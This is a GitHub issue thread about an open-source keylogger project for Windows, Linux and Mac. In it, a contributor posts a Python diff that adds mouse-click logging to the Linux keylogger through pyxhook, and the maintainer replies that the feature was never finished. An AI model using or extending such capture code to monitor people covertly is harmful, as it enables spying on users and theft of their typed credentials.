GiacomoLaw / Keylogger

A simple keylogger for Windows, Linux and Mac
https://simple-keylogger.github.io/
MIT License
2.06k stars 617 forks source link

Mouse clicks on linux #91

Closed ChillerDragon closed 4 years ago

ChillerDragon commented 4 years ago

Am I doing something obvious wrong here or why do I not see any mouse input in my output.log? I quickly cracked together this diff that adds mouse events to the log. But the majority of the code was already there so I wonder what happend here.

diff --git a/linux/keylogger/keylogger.py b/linux/keylogger/keylogger.py
index 941acc2..e92a7f0 100644
--- a/linux/keylogger/keylogger.py
+++ b/linux/keylogger/keylogger.py
@@ -36,17 +36,24 @@ def main():

     cancel_key = args.cancel_key[0] if args.cancel_key else  '`'

     def OnKeyPress(event):
         with open(log_file, 'a') as f:
-            f.write('{}\n'.format(event.Key))
+            if hasattr(event, 'Key'):
+                f.write('{}\n'.format(event.Key))
+            else:
+                f.write('{} {}\n'.format(event.MessageName, event.Position))

-        if event.Ascii == cancel_key:
+        if hasattr(event, 'Ascii') and event.Ascii == cancel_key:
             new_hook.cancel()

     new_hook = pyxhook.HookManager()
     new_hook.KeyDown = OnKeyPress
     new_hook.HookKeyboard()

+    new_hook.MouseAllButtonsDown = OnKeyPress
+    new_hook.HookMouse()
+
     try:
         new_hook.start()
     except KeyboardInterrupt:
GiacomoLaw commented 4 years ago

Forgot to implement the rest of it. Was pretty new to programming and GitHub when I started this so shouldn’t really be there as I was just mucking around with mouse clicking.

On a side note thanks for all your PRs - will review them sometime soon when I have time :D